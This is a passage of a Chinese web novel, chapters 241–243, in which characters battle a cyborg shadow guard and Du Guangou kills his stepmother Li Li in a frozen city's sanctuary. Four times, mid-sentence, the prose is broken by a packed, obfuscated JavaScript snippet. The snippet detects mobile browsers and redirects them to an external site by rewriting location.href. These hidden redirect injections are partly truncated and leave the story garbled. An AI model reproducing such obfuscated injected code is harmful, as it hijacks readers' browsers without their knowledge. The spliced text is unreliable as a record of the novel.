“……是改造人。”擎天说道,声音有些勉强。 夏未信模样有些震惊,下一刻,目光寒冷起来,她盯着暗道入口的那个黑影,眼角吊起,像是一整个冬天的雪都在这双眸中,“那种恶毒的技术,应该早就被禁止了——” 就在夏未信话音落下去的时候,对面的黑影有了动静。 与其说是动静,不如说,那是一道黑色的闪光。 在白熠的视野中,他只能看到一闪而过的影子,一阵狂风在他的耳旁刮过,而后,嘭的一声,巨响在他的身后传来。 回过头去,只见黑色的暗影在墙边上直立着。而在那黑影的面前,夏未信缓缓从石壁上滑了下来,眼睛慢慢地闭上,整个人失去了意识似的倒在地上。 白熠瞪大了眼睛。 什么、一瞬间就—— 这时候,那个黑影的头颅倏然转过来,像是一个漆黑的恶鬼一般,看向白熠。 白熠下意识想要躲避,然而,就在看清对方的这一刻,他僵在了原地。 他喃喃着,“不可能……” 消瘦的身形,无神的目光,残缺一只的耳朵,漆黑的身影,一把几乎和他人一样高的长刀。 那是血皑王城暗影内卫,沃风。 但是,怎么可能…… 白熠无法理解眼前见到的景象。 怎么可能是沃风?那个协助杜光欧从血皑王城出逃,而后,被发现尸体、宣告死亡的那个沃风? 他曾经是杜义的暗影内卫,同时也听令于黎礼,不过最后却是背叛了她。 印象里,白熠最后一次见沃风,是在血皑王室的家庭聚会上,那时候,黎礼、大将军默龙、沃风、杜光欧以及他齐聚一堂,为他们终于歼灭了血皑城的复权派而庆祝。 那时候,自己就已经找过了黎礼,说要加入对方的阵线。而他们那次,本来没有打算惊动杜光欧,不打算让他觉察到背后的真相,只是想要继续演这场戏,将血皑城的和平继续维系下去,而后再找一个借口带杜光欧来到元城,毕竟,他们需要他的能力。 但是,那场家庭聚会上发生了一些意外。白熠没有看到一切是如何发生的,但是,他猜测,是他们露出了什么马脚,所以,让杜光欧发觉到了异常。他想,或许是哪个士兵没有藏好自己的枪,或许,是沃风透露了什么事情——毕竟,沃风知道黎礼的计划,只是因为把柄在她的手里,所以没有对任何人说;又或许,是突然到来的黎梦说了些什么,引起了杜光欧的警觉;又或者,是黎礼按捺不住好奇,想要试验杜光欧是否真的有起死回生的能力,而对他开了一枪…… 总而言之,他们的计划败露了,杜光欧没有留在血皑,这导致他们后来绕了一大圈,才重新抓到了他。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121090|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个时候协助杜光欧出逃的就是沃风。黎礼后来派人沿着杜光欧出逃路线寻找,在那之上发现了沃风的尸体。 白熠没有亲眼看到那个暗影内卫死去的模样。现在看来,当时对他的死亡判定不一定是真的。 是黎礼把他藏起来了? 留着这一张最大的底牌—— 就在此刻,白熠顿时感到了一股巨大的压力,像是有什么无形的东西骤然向他袭来,他不敢动,心脏提到了嗓子眼。 他看过沃风战斗的模样,也见到他刚才一击击倒了夏未信。 现在那股杀意冲着他而来,他该怎么做? 沃风盯着他,整个人像个空壳一般,面无表情,神情麻木。 白熠忍住被那种眼神盯上的不适,问道:“你经历了什么,沃风?” 暗影内卫自然是没有回答他的问题。话音刚落,沃风的身影便行动了起来,身形先开始抖动,像是在与什么东西共鸣,而后,他几乎是一瞬间消失在原地。 白熠只感到一股压迫,他的目光甚至跟不上沃风的脚步,本能觉得什么东西在急速地逼近他,一股狂风向他袭来。 风停下,白熠绷紧了身体,但久久没有感受到本应袭来的重击。 沃风停在了他的眼前,手中的长刀高举,眼看着就要落下来。但是。另一个庞大的身影阻拦了沃风的动作,与他僵持在原地,在沃风的突袭下保住了白熠的性命。 那是擎天,他单手握住了沃风的手腕,一个发力,将人这么提了起来,一下子甩开。沃风撞在了一旁的岩壁上,刀和岩壁发出撞击的巨响,一人一物缓缓滑了下来。 擎天甩了甩拳头,丝丝血迹从他的指尖的缝隙里洒出来,不知道是他自己的,还是敌人的。他那身薄薄的短袖有些破损,腹部惊心动魄的凹陷依然存在。然而,高大的男人像是不知道自己身上的伤痕一般,只是默然盯着对面行动迅捷的内卫。 沃风七扭八歪地倒在地上,一时没有动作。 似乎是见对面的内卫没什么反应,擎天有些踉跄地来到夏未信的身边,俯下身去,探了探她的鼻息,而后,将她从一个不太舒适的扭曲的姿势摆正,让女人平躺在地上。 就在这一瞬间,本该倒地的沃风突然出现在了擎天的背后,手里的长刀反握,横劈,直朝男人的后颈而去。 擎天猛然回身,抬起一条手臂,硬生生抗下了沃风的斩击。叮的一声,像是金属相碰的声音,沃风手里的刀刃砌入了擎天的胳膊中,然而,擎天的胳膊却没有流血。 沃风一个转身,刀刃随着一转,动作迅疾如风。瞬间,擎天的手臂被削下了一层皮来,肉色的块状物甩在白熠身前。他定睛看过去,那的确是人皮没错,只是,上面一滴血也没有,也没有白色的脂肪,没有人体皮层下的任何组织。 白熠再抬眼,向擎天的方向看去,只见男人依旧举着手臂,沉默地与另一个漆黑的身影对抗。而在他被削下一层皮的手臂上,竟然漏出来金属的底层,仿佛骨骼是用金属制成一般。 241. 一损俱损5 果然夏未信说擎天能拦住所有的黎军士兵是有原因的,巨人的身体无疑进行过改造。 暗影内卫握住长刀再攻,擎天目光一凛,空手白刃接住了对方的攻势。 两人僵持在一起,细密的摩擦声、碎裂声响起,暗中的对抗在进行着。 见此景,白熠抬起那只早就上膛却无处可用的长枪,瞄准内卫。他枪法不好,于是便对准了那位身体的中段,能打到哪里就打到哪里吧,他想。 板机扣下,一股强大的反作用力将他向后推,脆弱的身体撞在石壁上,他痛吟一声,连忙睁眼去看这一枪的结果。 打中了。 一个巨大的血洞在暗影内卫的左胸口出现,他踉跄了一步,轰然倒地。 然而,还没等旁边的擎天做什么,地上的内卫突然又有了动作。 沃风蜷起了腿,那是一个准备起身的动作。可是他却不像常人一样撑着地面站起来,内卫就像是没有肌肉,全身上下的动作由其他物质牵引,以一个诡异的姿势,就那么直挺挺地立直了身体,违背了一切自然的原则。 白熠看着眼前这一切,不由咋舌。 这家伙,到底还是人吗? 刚才擎天说他是改造人。既然是身为元城人的巨人说出了这句话,那么显然,这些暗影内卫原本是元城出产的人形兵器。 之所以会在血皑城中被培育,其中想必有黎礼的干预。杜义设立内卫的那年,黎礼已经身在血皑城。怎么想,这些速度极快、没有痛觉、不能吃人食的暗影内卫们,都是那个女人的手笔。 这些内卫或许曾经是人,但成为内卫之后就不是了。 自己刚才那一枪应该打穿了对方的心脏,可这样都不会死,内卫的身体构造和一般人天差地别。他们已经是精于战斗的怪物。 沃风从地面立挺起身后,擎天再度逼近上前,两人僵持在一起。 内卫用上了十足的力道,居然像抻面一样,将擎天的手臂拉到了一个人类无法承受的程度。 擎天用另一只手去制止沃风,然而,却是捞了个空。只见沃风在地上一个后空翻,脚掌猛然踏在擎天的胸口。哇的一声,那个魁梧的男人吐了一滩血出来。此刻,他的左臂扭曲成了一个诡异的角度,长度和右臂明显不一样长,像是被什么碾过、折断了一般,几乎要垂落在地上。 内卫不是人,但擎天不一样,有着金属臂的巨人怎么看都还属于人类的范畴。 ……擎天打不过沃风。白熠如此判断。 加上自己手里这把枪也打不过。 趁擎天还能拖住内卫,他得去追黎礼……! 想到这里,白熠当即立断,提着那把大口径的长枪,转身朝木门的方向赶去。 一瞬间,沃风的视线锁定了白熠,后者顿时感到一种无形的压迫。 他没有停下脚步,身后传来打斗声,回头看去,只见沃风追了上来,但在他行动之时,擎天也张开双臂扑向内卫,两人倒在地上,缠斗在一起。 仅仅是一瞥,白熠又转回视线,专注地盯着不远的木门。 来到了它面前,试图拧动把手,但它似乎被锁住了,打不开。于是他后退了两步,猛然撞向木门,用身体的冲击打开了它。 惯性将他甩在地上,疼痛使他的大脑混沌。 白熠晃了晃不甚清醒的脑袋,从地上有些狼狈地站起来,观察着四周。 这里便是他们所说的圣殿,殿内有许多支撑的圆柱,头顶上照下光源,两侧有几个紧闭的侧门,正前方是一条不知通往何处的长台阶。 而那两个女人的身影就在长台阶下。黎涵挚在台阶上缓慢地攀爬,而黎礼就站在下方仰望着自己的母亲。 听到木门处传来的动静,黎礼回过头来,看到了浑身是木屑的白熠,女人皱了皱眉,不悦地道:“怎么又来了,真难缠啊。” 白熠举枪逼近,说道:“不要再往上走了。” 黎礼的模样却不以为意,用自己的后背冲着白熠的枪,对自己的母亲说道:“母亲,骚动马上就会平息,还请你继续攀爬,用指纹打开启动室的门吧。” 黎涵挚看了看自己的女儿,尽管似乎有什么话想说,但是,她吞了回去,只是默默地往台阶上走。 下一刻,黎礼从怀中掏出了一把手枪,对准了白熠的方向。一长一短的两把枪互朝对方,预示着局面的僵持。 “原来你有武器。”白熠说,“刚才在暗道里怎么没见你拿出来?” 黎礼一笑,模样胜券在握,“因为还轮不到我动手。” 突然,身后一声巨响。 白熠回过头去,只见沃风出现在残破的木门口,混身散发着黑色的气焰,一只手中提着擎天的脑袋。 见到一这幕,白熠心中一沉。 ……这么快就结束了? 血皑王城内卫的身姿普遍都不魁梧,反而较常人有些消瘦,所以,才会制造巨大的反差。按理来说,越是瘦弱的人,就越难发出更大的力量,可这个逻辑在暗影内卫的身上行不通,沃风的一举一动都很反直觉。 一早就想到了黎礼会有底牌,可是怎么也没想到会是内卫,更没有想到内卫是运用元城技术诞生的人型兵器。 此刻,白熠被一前一后两者夹击,前面是黎礼的枪,后面是连擎天也打不过的暗影内卫。 现在沃风随时都会杀了自己。白熠想道。在那之前,或许他应该开枪杀了黎礼。这样,元城启动与否,利用元城的技术在这个世界上为非作歹的人就不存在了,后面的事就交给葛马…… ——可是,这样你甘心吗,白熠?对于这个世界你还那么不了解,轮回、严寒,这些究竟为什么会存在?接下来要发生的一切才是真正重要的,如果死去的话就什么都不知道了,万一他们找到了突破轮回的方式,那么,就代表没有下一次的轮回。 当下如果死去,就是真正的死亡。 到底该怎么做? 只能选择向一个人开枪。 杀黎礼还是杀沃风? 就算要杀沃风,他杀得掉吗? 就算杀得掉,对面的女人也会趁这个空档开枪。自己死了,点灯人打开启动室的机关,那将会是黎礼的完全胜利。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131503|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 究竟该怎么做…… 黎礼晃了晃手中的武器,轻松地对沃风说道:“把他解决掉。” 下一刻,沃风的身影一闪。白熠只见黑影一晃,而后,那股死亡一般的气息便来到了他的身前。 枪口被一片阴影遮住了,白熠抬起惊恐的双眼,看到沃风停在自己的身前,一把长刀离他的头颅咫尺之近。 但是,内卫却没有下一步的动作。 黎礼询问的声音从远处传来,“沃风?” 沃风像是在抗拒什么,整个身体都在颤抖。 白熠没有逃开,他知道,在这个内卫的眼皮底下,就算逃也无济于事。 此刻,沃风混沌的眼中显出了一丝清明。他指着自己的脖子,说:“想要彻底破坏我……只能攻击这里。” 白熠大气不敢出,盯着眼前举止怪异的内卫。 “这里……有一个□□,用刀砍,或者枪打,都无法触发它。”沃风有些勉强地说着,仿佛说出一句完整的话这件事都很困难,“它里面一把锁芯……只有旋转到特定的角度才会引爆。” 白熠咽了口口水。 沃风这是在对他说话吗?他有自我意识了? 锁芯……他是在教自己怎么攻击他吗? 黎礼的声音再度响起,从她的角度看不到这边发生了什么,只能出声询问,“你在干什么,沃风?杀了他。” 沃风的身影一晃,往前闪了一段,控制不住一般,刀刃离白熠更近了,“以前……武术课,您还记得吗?就是您手臂脱臼的那一次。一刺、一转、一抽。” 白熠不由皱眉。 沃风在说什么?自己从来没有上过什么武术课。 “两点一刻,破坏我。” 内卫的话音落下,白熠听到身后传来密集的脚步声,它速度很快,携着一阵风而来。 下一刻,一把笔直的剑从背后刺来,贴着白熠的耳朵,一下子贯入沃风的咽喉。 “……感谢您。”内卫扬起一个僵硬的笑容。 那剑刃一转,咯哒一声,像是有什么机关被触发。 剑抽出的同时,白熠看到火光在沃风的脖颈处爆开,接着,他猛地被人拉了一下,一屁股摔在地上,堪堪避开了爆炸的冲击。 “黎礼——!!” 爆开的烟雾中,响起了一声愤怒的喊叫。 白熠听到这声音,倒吸了一口冷气,下一刻又因吸入了烟尘而咳嗽起来。 怎么会?白熠心里想着。他怎么来了? “咳咳,光欧……”白熠念叨着对方的名字,他想不明白,为什么杜光欧会出现在这里。他不是被绑起来,放置在元城南部的大堂里了吗?为什么会突然出现在这里…… 台阶前,黎礼急迫的声音传来,“母亲,快点!” 烟雾散去,白熠盯着圣殿中台阶的方向。只见杜光欧的背影朝女人急速逼近,躲开朝他袭来的一发子弹,瞬间临近,一把打开了黎礼手中的枪,而后,用剑将她逼在了柱子上。 “快点启动开关,母亲!!”黎礼手无寸铁,只得大声说道。 242. 收束1 杜光欧听到她的喊声,从怀中掏出一把枪,枪口瞄准了上方的黎涵挚。 此刻,黎涵挚站在台阶的顶部,正要把手盖在一个凸起的石桩之上。然而,杜光欧的子弹紧随而至,打在了她身旁,带着警示的意味。黎涵挚猛然抽回了手,盯着台阶下方,陷入了犹豫。 “你在怕什么?”黎礼斜着眼睛,在杜光欧剑尖的威胁之下,盯着自己的母亲,喊道,“你到底在怕什么,怕子弹打穿你的手吗?你马上就要老死了,就要被热浪袭卷而死,还犹豫什么,给我按下去啊!” 老人抱着自己的手,看着下方发生的一切,有些踌躇地问道:“你愿意放开我女儿,好好和我谈一谈吗……?” “你在搞什么,分清主次啊!”黎礼喊道,像是歇斯底里、又黔驴技穷。 杜光欧阴沉地盯着老人,没有开口。 黎涵挚走上前来两步,站在台阶的边缘,商量地说道:“你和我的女儿之间有什么仇怨吗?” 杜光沉默了半晌,说道:“……你是她的母亲,却不知道她在外面做过什么吗?” 点灯人露出了困惑的神情。 “别和他废话——”黎礼还想说些什么,却被杜光欧一下子按住了咽喉,无法再发声了。 “她是我继母。”杜光欧简略地说道,“她杀了我全家。” 黎涵挚有些不可置信的看着自己的女儿,片刻,她的目光垂下去,像是在因什么而愧疚一般,“我的女儿或许犯下过一些罪行,但她有自己的苦衷……” “和我无关。”杜光欧说。 “她做的一切都是为了唤醒元城。这位年轻人,你看起来也活了二十余载,知道这是一个怎样寒冷的世界,只有唤醒元城,大地上的子民才能从苦寒中解脱。” “和我无关。” “年轻人,请你放开她吧,让她完成最后的使命……那之后,再让她为自己的行为付出代价。” “听不懂吗,那些和我没有关系。”杜光欧将黎礼松开了一些,朝她阴狠地说道,“现在都给我安静点。我只想问这个女人一些问题。” “咳咳,母亲,打开开关……”黎礼像是根本不在乎别的,只知道说这一件事。 杜光欧逼近她,凶狠地问道:“我无法理解你,你到底是怎么想的,为什么能对相伴二十余年的人做出那种心狠手辣的事?” “母亲……” “感情于你而言什么都不是吗,我怀疑你根本没有常人拥有的一颗心。” “打开开关……” “是了,肯定是这样。他们创造你的时候,就没把那种东西放进你的身体里。”杜光欧说道,表情冰冷,“你只是维系着一个虚假的外壳,但是我不得不说,你这副假面戴得很漂亮,起码比我亲生母亲做得要好。我的亲生母亲……甚至连儿子生日那天,也不会抽时间和他联系,哪怕一句话的问候也没有。” 听到这里,在一旁观望的白熠不禁皱眉。 亲生母亲?杜光欧在说卞萝的事吗? 可是,听起来不太对劲。杜光欧应该根本没见过自己的亲生母亲,卞萝在他出生那年就去世了。 此刻,台阶上的黎涵挚开始往下走,“年轻人,如果非要杀一个人才能消解你内心的恨意,那就取我这个老婆子的性命吧。” “别开玩笑了……”黎礼说道,恨铁不成钢的盯着自己的母亲,双眼猩红,“你就这么想毁了我们的计划吗?” “我的女儿,你已经输了。”黎涵挚说道。 “我还没有。” “你连性命都被人握在手上。”黎涵挚道。 “这只是一时的。”黎礼道。 “一时的?”杜光欧听到黎礼的话,以剑逼近她的脖颈,问道。 “你尽可以把剑刃嵌入我的喉咙……”黎礼盯着他,说道,“……反正一切都会重来。” “不,我的女儿,如果有下一世,我断不会再让你为非作歹。”黎涵挚还在继续往下走,“留下这些难解的恩怨……你是错的。” 杜光欧听着母女俩的话语,沉默地思索着一些什么。 “杜光欧,你做的一切,在无尽的轮回面前都没有意义。”黎礼侧过身去,碎发掩住了面庞,不知为何,她的态度好似不再那么锐利,像是放弃了什么一般,“你对我的恨只是世俗的恨,就像我一开始说的,你根本不知道这个世界在发生什么。” “我不知道。”杜光重复了一遍,他脸上带上了一丝微不可察的笑意,“你说我不知道……” 他有些怪异地笑起来。黎礼侧目,看着这个没有关血缘关系的儿子。 “有一点你说得很对,黎礼。我也觉得我做这种事情多余,就算做了也没有任何意义。就算杀了你,你又会在下一个轮回活过来吧,而那之后的轮回和我也没什么关系了。”杜光欧后撤了一步,握着的银剑也稍稍撤离,“不,不只是这样。说到底,你们和我,本身就没有任何关系。无论是父亲,还是兄长,又或者和我产生过接触的任何人,对我来说什么都不是。” 黎礼露出困惑的目光,盯着眼前这个开始自说自话的男人。 “恩怨情愁,世俗诸事,我只是走马观花地看这一切。”杜光欧道,他态度转变得很快,像被什么催眠了一般,“你害死我的父兄,那样地欺骗我,让我亲手杀害了数不清的血皑忠诚之士……这一切仇恨的锁链,在我这里没有任何意义。因为我,本来就是旁观者。旁观者不会入局,旁观者永远置身事外。所以……没错。你,黎礼,既不是我的母亲,也不是我的仇人。” 下一刻,杜光欧收回了自己的剑,不再用它胁迫黎礼。 女人有些讶异地看了他一眼,没说什么,立刻转身,往台阶的方向奔去,对黎涵挚说道:“母亲,往回走!” 见自己的女儿脱离了束缚,黎涵挚反应了过来,又开始攀登台阶,想要打开启动室的门。 “所以,有着这些心理建设的我,是不会对你做什么的。”杜光欧盯着自己手里的剑,没有将它归鞘,却是露出一张有些空白的、恐怖的脸,“但这一切的前提是,我的脑袋还清醒的话。” 猎人放跑了猎物,可紧接着又追了上去。 两步登上台阶,一把长剑斜插而上,直接贯穿了女人的身体。 “咳啊……”黎礼发出一声痛呼,单薄的衣料上顿时晕开大片血迹。 “虽然心理催眠了那么久,我还是想杀你想得不得了!”男人狂躁地说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14144780|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“回来之后每时每刻。每天每夜。每分每秒。 “这究竟是为什么?我明明还有更重要的事情要做,是个正常人都知道哪件事更重要。 “但看到你的时候,我的手会抖,听到你的声音,我的呼吸就会变得艰难。全身都在违抗大脑的旨意,说,杀了她,杀了她! “所以我是疯了吧。告诉我,我是不是不太正常?” 他拧动手里的剑,女人没有余韵回答他的问题。 长剑一抽,带出成片的血。 鲜红的血液洒在台阶上,黎礼身躯往后倒去,轰然砸在地上。 她睁着一双不甘的眼睛,里面的光亮渐渐淡去了。 一击即杀,男人没有丝毫手下留情。 “啊啊……!” 黎涵挚发出一阵撕裂的、痛惋的叫声,她的躯体颤抖,从台阶上跑下来,然而,根本无暇顾及脚下的情况,一只脚踩空,另一只也没能幸免于难,女人便这么踩空了每一个台阶,从那极长的高台之上滚落了下来。 直到摔在最后一个台阶下,终于,那年迈的身躯停了下来,不再滚动。老人的额头在流血,骨骼像是散架了一般,整个人仿若一滩烂泥,伏在地上,无法起身。 便是拖着这样的身体,她来到了黎礼的身边,抚摸着女儿的脸颊,哭声呜呜地响起,充斥在整个圣殿之中。 “为什么……”黎涵挚问道,“为什么我们就不能好好地聊一聊,为什么,一切都要那么着急。急着把我赶上去,急着打开那开关,急着……离开我……” 杜光欧甩了一把手中的剑,没有去看这一幕的场景。 黎涵挚握着黎礼的手,后者的手或许是冰凉的。她握着,不住地颤抖,“小礼啊……” 哭声越来越弱,最终渐渐听不见了,老人似乎就这么昏了过去。 圣殿的入口处,白熠抱着一把长枪,有些发愣地坐在地上。 他盯着那个死去的女人,那个对很多人来说像梦魇一样的女人。她倒在了一个几乎所有人都不知道的地方,旧时代的统治者已经远去。 一切发生得那么快,她的死亡是隐蔽的,不曾大张旗鼓,也不被多少人所看见。但这一刻,无疑是一个时代的终结。 她在追寻愿景的路途上有些偏颇,这是白熠与夏未信对她群起而攻之的原因。 白熠一直是这么认为的,他觉得自己之所以想杀黎礼,是因为这个女人所寻求的愿景凌驾于所有人之上,所以她必须被消灭。 可到了她真正死亡的这一刻,他又觉得不是了。 白熠原以为自己并不在意。被那女人投毒误伤,从小患病,天天泡在药罐子里,失去常人的感情,麻木不仁。他以为自己对这一切并不在意。 看着黎礼的时候,他没有什么恨意,只是有一种犹如泥沼一般的情绪,在心底里不断蔓延。他不知道那是什么,只当是这个女人天然给人的一种不适感。 但是,现在,这个女人死了。那种阴郁的泥沼也一同消失。 白熠这才反应过来,那不是黎礼给谁的什么不适之感,那完全是源自他自己心底的一种阴郁、焦躁的感受。 如果用普世的标准去定义这种感觉的话,那应该是恨。 243. 收束2 只不过,他早早失去了直接领悟它的能力。只有这一切发生之后,那种沉重的感觉消失了,他才反应过来,那是恨。 他以为自己不在意,其实根本不是那回事。 他很在意。就连他自己都不知道,他很在意。 所以,在这一刻,他看着女人死去的脸,才会有一种解脱的感觉。终于,这么多年来的仇怨,彻底冰消雪融了。 就连自己都是这样,想必杜光欧更是如此吧? 对于杜光欧来说,黎礼是陪伴他长大的继母,也是杀害了他父兄的仇人。 她死去的这一刻,大仇得报,所有的过去都可以放下,终于不再被过往的仇恨所束缚,杜光欧理应感受到与白熠相仿的解脱。 所以…… 所以他才不明白啊。 白熠紧张地盯着杜光欧。 对面的男人表情凝重,长剑明晃晃地握在手里,像战火仍未熄灭。 白熠不理解,对方明明杀了仇人,仇恨的锁链已然断裂,他不应该露出更加释然的情绪吗? 可现在,那般沉重……那哪是一个解脱之人会有的表情? 圣殿中只剩他们两个还清醒的活人了,白熠想和杜光欧展开一番交谈,可对方的模样让他一时有些不敢走上前去。 不光是男人当下的表情,还有对方刚才说的那些话也很让人在意。 什么“不在乎”、“旁观者”、“不清醒”,一副置身事外却又参与其中的模样,让人摸不清他在想什么。 白熠紧皱着眉,从地上缓缓站起来。虽然还有诸多困惑,也对当下的杜光欧有所忌惮,但光在这里闷想对现状毫无帮助。 ……总之,还是先去试探一下对方的态度。 白熠如此想着,走近了那个有些沉郁的男人。 “一直想和你联手。”白熠边走边说道,声音在空荡的圣殿里回响,“但黎礼一直不给我和你单独接触的机会。” 杜光转过身来,没什么表情地看着走来的白熠。 两个人相识将近二十年,当下的距离越来越近,可心中的距离早已拉开。起码在白熠看来是这样,他不知道此刻对方是如何作想。 “为了获得她的信任,我只能假装和她是一条阵线,毕竟只有她和黎涵挚两人才能打开圣像下的暗道,包括台阶上的那个机关也需要点灯人的指纹开启。”白熠见对方没什么太大的反应,于是便逐步向对方解释这段日子自己行为的动机,“我和夏未信计划等她打开圣像下的暗道后,就对她——” “没关系,白熠。”杜光欧突然打断了他,平静地说道,“我知道实情,你不用解释什么。” 白熠一顿,有些不敢相信地问:“……你知道实情?” “嗯。”杜光欧朝白发的男人靠近,边说道,“一切都是为了这个世界,对吧?” 白熠有些迟疑地盯着对方。上一次他们见面还水火不容,当下杜光欧怎么突然这么通情达理起来了? 杜光欧把染血的剑拴在腰旁,那似乎不是他的剑,所以没有可以放剑身的剑鞘。他来到白熠的身前,盯着可以称得上是发小的男人,闭上眼睛,像在忍耐着什么。下一刻,双眼睁开,里面是汹涌的怒意。 一阵拳风袭来,白熠根本来不及反应,一拳被对方打倒在地。 “呃……”他趴在地上,脑袋里一团浆糊,已经数不清这是今天第几次受重击而头昏眼花了。 “虽然这很没有意义……”杜光欧的声音在上方传来,情绪听上去有些激动,“但谁叫你肆意玩弄所有人的感情,这是回礼。” 白熠捂着自己昏头转向的脑袋,费力地看着对方。杜光欧眼中的怒意渐渐地消散了,又恢复成一副好像什么都不在乎的模样。 好矛盾……为什么? 白熠忍着痛,艰难地想道。 刚才也是这样,一边说着不在乎,一边又在做相反的事。是什么让他变成这样? “总而言之……黎礼死了。”白熠没有追讨自己被打的事,就这么接受了对方的遣责,从地上困难地爬起来,继而说道,“现在,我可以当我们是一个阵线的吗?” “……可以。”杜光欧也放下前嫌一般,同意道。 白熠:“计划你之前也听到了吧?唤醒元城,对抗低温,然后……终止轮回。” 杜光欧顿了顿,没有就计划发表什么看法,而是问道:“葛马在哪?” 白熠眨眨眼,心下有些疑惑。 杜光欧不问元城和轮回的细节,却反而好奇葛马的去向。为什么? “他在做必要的事。”白熠模棱两可地回答道。 杜光欧收回四下张望的视线,向对方问道:“什么事?” 白熠一顿,“……你为什么关心葛马在做什么?” “这不是理所当然。”杜光欧说,“计划是唤醒元城,可点灯人倒在了那里,现在需要有经验的人告诉我们怎么做。葛马得来帮我们。” 白熠轻轻皱眉,尽量没让对方看出他神情中的顾虑。 不对劲…… 明明白熠自己就在这里,作为和黎礼葛马等人行动的一员,他也知道计划的详情,怎么唤醒元城也了然于胸。杜光欧不可能连这点都想不清楚,有什么疑问,问他不就行了。可是男人一句话都不问,偏偏执意要找葛马。 似乎是见白熠不言语,杜光欧催问道:“白熠,怎么了,他在哪?” 白熠盯着这个相识已久的男人,心中暗暗想道:他在着急。 “我也不清楚。”白熠说,“你也见过了他的能力,不是吗?他称之为涅形,可以瞬间前往任何想去的地方。他说要去处理元城里的一些事,然后就走了,现在具体在哪谁也不知道。” 听到白熠这么说,杜光欧锁紧了眉,开始若有所思地低头,在周围踱步游荡。 白熠来到一根石柱旁,把长枪放在地上,自己有些疲累地靠在柱旁,装作不经意的模样观察着对方。 他不明白,为什么找不到葛马让杜光欧这么焦急?他找葛马想干什么,难道只是想快点唤醒元城? 不,不对,复苏元城向来不在杜光欧的计划中,实际上那一直都是他们另一伙人的事情。 杜光欧一直在为了杀死黎礼而行动。葛马时不时就会跟踪杜光欧,看看他的状态,而男人的确一直都受复仇的驱使。就算他现在意识到了唤醒元城的重要性,也不可能比他们这些筹划了很久的人着急。 要说为什么的话,那是因为杜光欧现在对唤醒元城的事可谓是知之甚少,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157259|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体怎么操作,怎么实现,那后面会发生会什么,他都不知道。即便他们说这是关于天下存亡的大事,对方也不是那种会为了所谓的大义而不问缘由、积极行动的人。 和他相识这么多年,白熠太了解他了。在当前这种情况下,杜光欧的第一反应理应是弄清楚事实,比如元城具体会如何苏醒,又能怎样对抗极寒,然后他才会采取行动。 但是,现在的问题就是,他什么都没问。对于元城的事,杜光欧的心里很大概率其实并不关心。这也就证明,他一定不是为了元城复苏的事而找葛马。一定不是。 关于他找葛马的真实目的,虽然可以选择直接问他,但—— 白熠盯着那愁眉不展的男人,第六感告诉他,杜光欧和以前相比,有些不太一样了。 他变得矛盾,总觉得像在什么东西之间挣扎,所以才表现得一会这样,一会那样。 理智告诉白熠,在确认对方到底想干什么之前,最好不要打草惊蛇。 看着模样困扰的人,白熠冷不丁说道:“我们和葛马约定好了时间,就快到了,他应该会自己过来,就在这等他吧。” 杜光欧有些束手无策地说:“……看来也只能这样了。” 男人也给自己找了个贯通圣殿上下的圆柱,往那上面一靠,开始闭目养神。 肃静的圣殿之内,一股不太浓重的血腥味弥漫开来,那是死人的气味。 这种气味让白熠有些神经紧绷,他心中不知为何十分忐忑,好像和杜光欧相处是一件极其难熬的事。 曾经不是这样。到底是哪里变了,变得这么不对劲? “……”白熠安静了片刻,问他,“话说回来,你不好奇我们为什么把你绑起来放在聚星殿吗? 杜光欧在沉思中回神,睁眼看向白熠,“你说那个教堂?” 没听过这个称呼,白熠疑惑地重复,“教堂?” 杜光欧没针对白熠的疑惑解释什么,而是回复他上个问题,“我确实好奇你们为什么抓我,后来推测是你想用我的回溯力做什么试验吧。” 八九不离十。 白熠没有向对方隐瞒的意思,解释说道:“唤醒元城需要巨大的热量,否则这一座冰封之城不可能苏醒。” “合理。”对方说,“所以启动开关之后,元城中会发生热爆之类的现象。你们是怕出什么意外,所以把我带到元城,先演练几遍,以免出现什么不可挽回的局面吗?” “不,这套流程我们已经很熟悉了。”白熠道。 